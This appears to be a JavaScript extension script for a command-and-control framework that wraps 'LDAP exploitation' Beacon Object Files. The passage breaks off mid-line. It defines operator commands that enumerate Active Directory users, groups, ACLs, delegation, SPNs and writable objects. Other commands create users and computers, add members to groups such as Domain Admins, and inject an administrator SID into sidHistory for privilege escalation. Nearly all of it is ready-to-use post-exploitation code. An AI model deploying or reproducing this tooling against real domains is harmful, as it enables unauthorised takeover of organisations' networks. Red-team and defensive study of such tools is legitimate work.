    "content": "var metadata = {\n    name: \"LDAP-BOF\",\n    description: \"LDAP Exploitation BOFs\"\n};\n\n// ============================================================================\n// Helper function to determine if input is a username or a distinguished name\n// ============================================================================\nfunction identifyInputType(input) {\n    const usernameRegex = /^[a-zA-Z0-9._-]{1,64}$/;\n    const dnRegex = /^(?:[A-Z]+=[^,]+)(?:,(?:[A-Z]+=[^,]+))*$/i;\n    if (dnRegex.test(input)) {\n        return 1;\n    } else if (usernameRegex.test(input)) {\n        return 0;\n    } else {\n        return 0;\n    }\n}\n\n// ============================================================================\n// GET COMMANDS\n// ============================================================================\n\nvar _cmd_getusers = ax.create_command(\n    \"get-users\",\n    \"List all users in the domain\",\n    \"ldap get-users -ou \\\"OU=Users,DC=domain,DC=local\\\" -dc dc01.domain.local -a description,mail\"\n);\n_cmd_getusers.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search (optional)\");\n_cmd_getusers.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_getusers.addArgFlagString(\"-a\", \"attributes\", false, \"Comma-separated list of attributes to retrieve (always includes sAMAccountName)\");\n_cmd_getusers.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_getusers.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n    let attributes = parsed_json[\"attributes\"] || \"\";\n\n    let bof_params = ax.bof_pack(\"cstr,cstr,int,cstr\", [ou_path, dc_fqdn, use_ldaps, attributes]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/get-users.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Enumerating domain users...\");\n});\n\n\n\nvar _cmd_getcomputers = ax.create_command(\n    \"get-computers\",\n    \"List all computers in the domain\",\n    \"ldap get-computers -ou \\\"OU=Computers,DC=domain,DC=local\\\" -dc dc01.domain.local -a description,operatingSystem\"\n);\n_cmd_getcomputers.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search (optional)\");\n_cmd_getcomputers.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_getcomputers.addArgFlagString(\"-a\", \"attributes\", false, \"Comma-separated list of attributes to retrieve (always includes sAMAccountName)\");\n_cmd_getcomputers.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_getcomputers.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n    let attributes = parsed_json[\"attributes\"] || \"\";\n\n    let bof_params = ax.bof_pack(\"cstr,cstr,int,cstr\", [ou_path, dc_fqdn, use_ldaps, attributes]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/get-computers.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Enumerating domain computers...\");\n});\n\n\n\nvar _cmd_getgroups = ax.create_command(\n    \"get-groups\",\n    \"List all groups in the domain\",\n    \"ldap get-groups -ou \\\"OU=Groups,DC=domain,DC=local\\\" -dc dc01.domain.local -a description,member\"\n);\n_cmd_getgroups.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search (optional)\");\n_cmd_getgroups.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_getgroups.addArgFlagString(\"-a\", \"attributes\", false, \"Comma-separated list of attributes to retrieve (always includes sAMAccountName)\");\n_cmd_getgroups.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_getgroups.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n    let attributes = parsed_json[\"attributes\"] || \"\";\n\n    let bof_params = ax.bof_pack(\"cstr,cstr,int,cstr\", [ou_path, dc_fqdn, use_ldaps, attributes]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/get-groups.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Enumerating domain groups...\");\n});\n\n\n\nvar _cmd_getusergroups = ax.create_command(\n    \"get-usergroups\",\n    \"List all groups a user is a member of\",\n    \"ldap get-usergroups jane.doe -ou \\\"OU=Users,DC=domain,DC=local\\\" -dc dc01.domain.local\"\n);\n_cmd_getusergroups.addArgString(\"user\", true, \"Username or DN\");\n_cmd_getusergroups.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_getusergroups.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_getusergroups.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_getusergroups.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let user = parsed_json[\"user\"];\n    let is_dn = identifyInputType(user);\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,int\", [user, is_dn, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/get-usergroups.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Querying groups for ${user}...`);\n});\n\n\n\nvar _cmd_getgroupmembers = ax.create_command(\n    \"get-groupmembers\",\n    \"List all members of a group\",\n    \"ldap get-groupmembers \\\"Domain Admins\\\" -ou \\\"OU=Groups,DC=domain,DC=local\\\" -dc dc01.domain.local\"\n);\n_cmd_getgroupmembers.addArgString(\"group\", true, \"Group name or DN\");\n_cmd_getgroupmembers.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_getgroupmembers.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_getgroupmembers.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let group = parsed_json[\"group\"];\n    let is_dn = identifyInputType(group);\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr\", [group, is_dn, ou_path, dc_fqdn]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/get-groupmembers.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Querying members of ${group}...`);\n});\n\n\n\nvar _cmd_getobject = ax.create_command(\n    \"get-object\",\n    \"Get all attributes of an object\",\n    \"ldap get-object jane.doe -ou \\\"OU=Users,DC=domain,DC=local\\\" -dc dc01.domain.local\"\n);\n_cmd_getobject.addArgString(\"target\", true, \"Object name or DN\");\n_cmd_getobject.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_getobject.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_getobject.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_getobject.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,int\", [target, is_dn, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/get-object.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Querying object ${target}...`);\n});\n\n\n\nvar _cmd_getdomaininfo = ax.create_command(\n    \"get-domaininfo\",\n    \"Get domain information from rootDSE\",\n    \"ldap get-domaininfo -dc dc01.domain.local\"\n);\n_cmd_getdomaininfo.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_getdomaininfo.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_getdomaininfo.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int\", [dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/get-domaininfo.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Querying domain information...\");\n});\n\n\n\nvar _cmd_getmaq = ax.create_command(\n    \"get-maq\",\n    \"Get machine account quota (ms-DS-MachineAccountQuota)\",\n    \"ldap get-maq -dc dc01.domain.local\"\n);\n_cmd_getmaq.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_getmaq.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_getmaq.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int\", [dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/get-maq.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Querying machine account quota...\");\n});\n\n\n\nvar _cmd_getwritable = ax.create_command(\n    \"get-writable\",\n    \"Find objects you have write access to\",\n    \"ldap get-writable -ou \\\"OU=Projects,DC=domain,DC=local\\\" -dc dc01.domain.local --detailed\"\n);\n_cmd_getwritable.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_getwritable.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_getwritable.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_getwritable.addArgBool(\"--detailed\", \"Show detailed output\");\n_cmd_getwritable.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n    let detailed = parsed_json[\"--detailed\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,cstr,int,int\", [ou_path, dc_fqdn, use_ldaps, detailed]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/get-writable.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Finding writable objects...\");\n});\n\n\n\nvar _cmd_getdelegation = ax.create_command(\n    \"get-delegation\",\n    \"Get delegation configuration for an object\",\n    \"ldap get-delegation jane.doe -ou \\\"OU=Users,DC=domain,DC=local\\\" -dc dc01.domain.local\"\n);\n_cmd_getdelegation.addArgString(\"target\", true, \"Object name or DN\");\n_cmd_getdelegation.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_getdelegation.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_getdelegation.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_getdelegation.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,int\", [target, is_dn, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/get-delegation.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Querying delegation for ${target}...`);\n});\n\n\n\nvar _cmd_getuac = ax.create_command(\n    \"get-uac\",\n    \"Get UAC flags for an object\",\n    \"ldap get-uac jane.doe -ou \\\"OU=Users,DC=domain,DC=local\\\" -dc dc01.domain.local\"\n);\n_cmd_getuac.addArgString(\"target\", true, \"Object name or DN\");\n_cmd_getuac.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_getuac.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_getuac.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_getuac.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,int\", [target, is_dn, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/get-uac.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Querying UAC for ${target}...`);\n});\n\n\n\nvar _cmd_getattribute = ax.create_command(\n    \"get-attribute\",\n    \"Get specific attribute values (comma-separated list supported)\",\n    \"ldap get-attribute jane.doe objectSid,mail,description -ou \\\"OU=Users,DC=domain,DC=local\\\" -dc dc01.domain.local\"\n);\n_cmd_getattribute.addArgString(\"target\", true, \"Object name or DN\");\n_cmd_getattribute.addArgString(\"attributes\", true, \"Comma-separated list of attribute names to retrieve (always includes sAMAccountName)\");\n_cmd_getattribute.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_getattribute.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_getattribute.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_getattribute.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let attributes = parsed_json[\"attributes\"];\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,cstr,int\", [target, is_dn, attributes, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/get-attribute.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Querying ${attributes} for ${target}...`);\n});\n\n\n\nvar _cmd_getspn = ax.create_command(\n    \"get-spn\",\n    \"Get SPNs for an object\",\n    \"ldap get-spn machine01$ -ou \\\"OU=Computers,DC=domain,DC=local\\\" -dc dc01.domain.local\"\n);\n_cmd_getspn.addArgString(\"target\", true, \"Object name or DN\");\n_cmd_getspn.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_getspn.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_getspn.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_getspn.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,int\", [target, is_dn, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/get-spn.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Querying SPNs for ${target}...`);\n});\n\n\n\nvar _cmd_getacl = ax.create_command(\n    \"get-acl\",\n    \"Get ACL/security descriptor for an object\",\n    \"ldap get-acl jane.doe -ou \\\"OU=Users,DC=domain,DC=local\\\" -dc dc01.domain.local --resolve\"\n);\n_cmd_getacl.addArgString(\"target\", true, \"Object name or DN\");\n_cmd_getacl.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_getacl.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_getacl.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_getacl.addArgBool(\"--resolve\", \"Resolve SID names\");\n_cmd_getacl.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n    let resolve = parsed_json[\"--resolve\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,int,int\", [target, is_dn, ou_path, dc_fqdn, use_ldaps, resolve]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/get-acl.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Querying ACL for ${target}...`);\n});\n\n\n\nvar _cmd_getrbcd = ax.create_command(\n    \"get-rbcd\",\n    \"Get RBCD configuration for an object\",\n    \"ldap get-rbcd somecomputer$ -ou \\\"OU=Computers,DC=domain,DC=local\\\" -dc dc01.domain.local\"\n);\n_cmd_getrbcd.addArgString(\"target\", true, \"Object name or DN\");\n_cmd_getrbcd.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_getrbcd.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_getrbcd.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_getrbcd.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,int\", [target, is_dn, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/get-rbcd.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Querying RBCD for ${target}...`);\n});\n\n\n\n// ============================================================================\n// ADD COMMANDS\n// ============================================================================\n\nvar _cmd_adduser = ax.create_command(\n    \"add-user\",\n    \"Add a user to the domain\",\n    \"ldap add-user jane.doe 'P@ssw0rd!' -fn Jane -ln Doe -email jane.doe@domain.local -ou \\\"OU=Users,DC=domain,DC=local\\\" -dc dc01.domain.local\"\n);\n_cmd_adduser.addArgString(\"username\", true, \"Username or DN\");\n_cmd_adduser.addArgString(\"password\", true, \"Password for the user\");\n_cmd_adduser.addArgFlagString(\"-fn\", \"firstname\", false, \"First name\");\n_cmd_adduser.addArgFlagString(\"-ln\", \"lastname\", false, \"Last name\");\n_cmd_adduser.addArgFlagString(\"-email\", \"email\", false, \"Email address\");\n_cmd_adduser.addArgBool(\"--disabled\", \"Create account disabled\");\n_cmd_adduser.addArgFlagString(\"-ou\", \"ou_path\", false, \"Target OU path\");\n_cmd_adduser.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_adduser.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_adduser.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let username = parsed_json[\"username\"];\n    let is_dn = identifyInputType(username);\n    let password = parsed_json[\"password\"];\n    let firstname = parsed_json[\"firstname\"] || \"\";\n    let lastname = parsed_json[\"lastname\"] || \"\";\n    let email = parsed_json[\"email\"] || \"\";\n    let disabled = parsed_json[\"--disabled\"] ? 1 : 0;\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = 1; // Always use LDAPS for password operations\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,cstr,cstr,int,cstr,cstr,int\",\n        [username, is_dn, password, firstname, lastname, email, disabled, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/add-user.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Adding user ${username}...`);\n});\n\n\nvar _cmd_addcomputer = ax.create_command(\n    \"add-computer\",\n    \"Add a computer to the domain\",\n    \"ldap add-computer WORKSTATION01 -p 'P@ssw0rd!' -ou \\\"OU=Computers,DC=domain,DC=local\\\" -dc dc01.domain.local --ldaps\"\n);\n_cmd_addcomputer.addArgString(\"computer\", true, \"Computer name or DN\");\n_cmd_addcomputer.addArgFlagString(\"-p\", \"password\", false, \"Password for the computer\");\n_cmd_addcomputer.addArgFlagString(\"-ou\", \"ou_path\", false, \"Target OU path\");\n_cmd_addcomputer.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_addcomputer.addArgBool(\"--disabled\", \"Create account disabled\");\n_cmd_addcomputer.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_addcomputer.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let computer = parsed_json[\"computer\"];\n    let is_dn = identifyInputType(computer);\n    let password = parsed_json[\"password\"] || \"\";\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let disabled = parsed_json[\"--disabled\"] ? 1 : 0;\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n    if (password) use_ldaps = 1;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,cstr,int,int\",\n        [computer, is_dn, password, ou_path, dc_fqdn, disabled, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/add-computer.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Adding computer ${computer}...`);\n});\n\n\n\nvar _cmd_addgroup = ax.create_command(\n    \"add-group\",\n    \"Add a group to the domain\",\n    \"ldap add-group Stark -desc \\\"House Stark\\\" -scope global -ou \\\"OU=Groups,DC=domain,DC=local\\\" -dc dc01.domain.local\"\n);\n_cmd_addgroup.addArgString(\"groupname\", true, \"Group name or DN\");\n_cmd_addgroup.addArgFlagString(\"-desc\", \"description\", false, \"Group description\");\n_cmd_addgroup.addArgFlagString(\"-type\", \"type\", false, \"Group type: security or distribution\");\n_cmd_addgroup.addArgFlagString(\"-scope\", \"scope\", false, \"Group scope: global, domainlocal, or universal\");\n_cmd_addgroup.addArgFlagString(\"-ou\", \"ou_path\", false, \"Target OU path\");\n_cmd_addgroup.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_addgroup.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_addgroup.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let groupname = parsed_json[\"groupname\"];\n    let is_dn = identifyInputType(groupname);\n    let description = parsed_json[\"description\"] || \"\";\n    let type = parsed_json[\"type\"] || \"\";\n    let scope = parsed_json[\"scope\"] || \"\";\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,cstr,cstr,cstr,int\",\n        [groupname, is_dn, description, type, scope, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/add-group.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Adding group ${groupname}...`);\n});\n\n\n\nvar _cmd_addgroupmember = ax.create_command(\n    \"add-groupmember\",\n    \"Add a member to a group\",\n    \"ldap add-groupmember Stark jane.doe -ou \\\"OU=Groups,DC=domain,DC=local\\\" -dc dc01.domain.local\"\n);\n_cmd_addgroupmember.addArgString(\"group\", true, \"Group name or DN\");\n_cmd_addgroupmember.addArgString(\"member\", true, \"Member name or DN\");\n_cmd_addgroupmember.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_addgroupmember.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_addgroupmember.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_addgroupmember.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let group = parsed_json[\"group\"];\n    let is_group_dn = identifyInputType(group);\n    let member = parsed_json[\"member\"];\n    let is_member_dn = identifyInputType(member);\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,int,cstr,cstr,int\",\n        [group, is_group_dn, member, is_member_dn, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/add-groupmember.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Adding ${member} to ${group}...`);\n});\n\n\n\nvar _cmd_addou = ax.create_command(\n    \"add-ou\",\n    \"Add an organizational unit\",\n    \"ldap add-ou 'OU=Research,DC=domain,DC=local' -desc \\\"Research OU\\\" -dc dc01.domain.local\"\n);\n_cmd_addou.addArgString(\"ou_name\", true, \"OU name or DN\");\n_cmd_addou.addArgFlagString(\"-desc\", \"description\", false, \"OU description\");\n_cmd_addou.addArgFlagString(\"-parent\", \"parent_ou\", false, \"Parent OU DN\");\n_cmd_addou.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_addou.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_addou.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let ou_name = parsed_json[\"ou_name\"];\n    let is_dn = identifyInputType(ou_name);\n    let description = parsed_json[\"description\"] || \"\";\n    let parent_ou = parsed_json[\"parent_ou\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,cstr,int\",\n        [ou_name, is_dn, description, parent_ou, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/add-ou.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Adding OU ${ou_name}...`);\n});\n\n\n\nvar _cmd_addsidhistory = ax.create_command(\n    \"add-sidhistory\",\n    \"Add a SID to an object's sidHistory attribute\",\n    \"ldap add-sidhistory jane.doe S-1-5-21-123456789-123456789-123456789-500 -ou \\\"OU=Users,DC=domain,DC=local\\\" -dc dc01.domain.local\"\n);\n_cmd_addsidhistory.addArgString(\"target\", true, \"Target object name or DN\");\n_cmd_addsidhistory.addArgString(\"sid_source\", true, \"SID string (S-1-5-...), username, or DN to copy SID from\");\n_cmd_addsidhistory.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_addsidhistory.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_addsidhistory.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_addsidhistory.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_target_dn = identifyInputType(target);\n    let sid_source = parsed_json[\"sid_source\"];\n    let is_sid_source_dn = identifyInputType(sid_source);\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,int,cstr,cstr,int\",\n        [target, is_target_dn, sid_source, is_sid_source_dn, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/add-sidhistory.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Adding SID to 